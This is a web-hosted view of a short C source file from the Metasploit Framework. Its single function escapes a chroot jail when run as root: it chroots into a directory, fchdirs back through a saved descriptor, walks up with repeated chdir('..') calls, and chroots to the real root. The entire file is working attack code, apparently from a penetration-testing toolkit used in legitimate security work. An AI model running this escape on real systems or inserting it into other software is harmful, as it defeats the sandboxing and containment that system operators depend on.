CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/ipwn/cmd_expl.c
Views: 11766
1
/*
2
* Copyright (c) 2004-2005 vlad902 <vlad902 [at] gmail.com>
3
* This file is part of the Metasploit Framework.
4
* $Revision$
5
*/
6
7
#include <stdio.h>
8
#include <errno.h>
9
#include <fcntl.h>
10
#include <string.h>
11
#include <unistd.h>
12
#include <sys/stat.h>
13
#include <sys/types.h>
14
15
#include "cmd.h"
16
17
18
void cmd_fchdir_breakchroot(int argc, char * argv[])
19
{
20
int loop;
21
int dir_fd;
22
struct stat sstat;
23
24
if(getuid())
25
{
26
printf("Not root...\n");
27
return;
28
}
29
30
if(stat(argv[1], &sstat) < 0)
31
{
32
perror("stat");
33
return;
34
}
35
if(!S_ISDIR(sstat.st_mode))
36
{
37
printf("%s is not a directory.\n", argv[1]);
38
return;
39
}
40
41
if((dir_fd = open(".", O_RDONLY)) == -1)
42
{
43
perror("open");
44
return;
45
}
46
47
if(chroot(argv[1]) == -1)
48
{
49
perror("chroot");
50
return;
51
}
52
53
if(fchdir(dir_fd) == -1)
54
{
55
perror("fchdir");
56
return;
57
}
58
59
close(dir_fd);
60
61
for(loop = 0; loop < 256; loop++)
62
chdir("..");
63
64
chroot(".");
65
}
66
67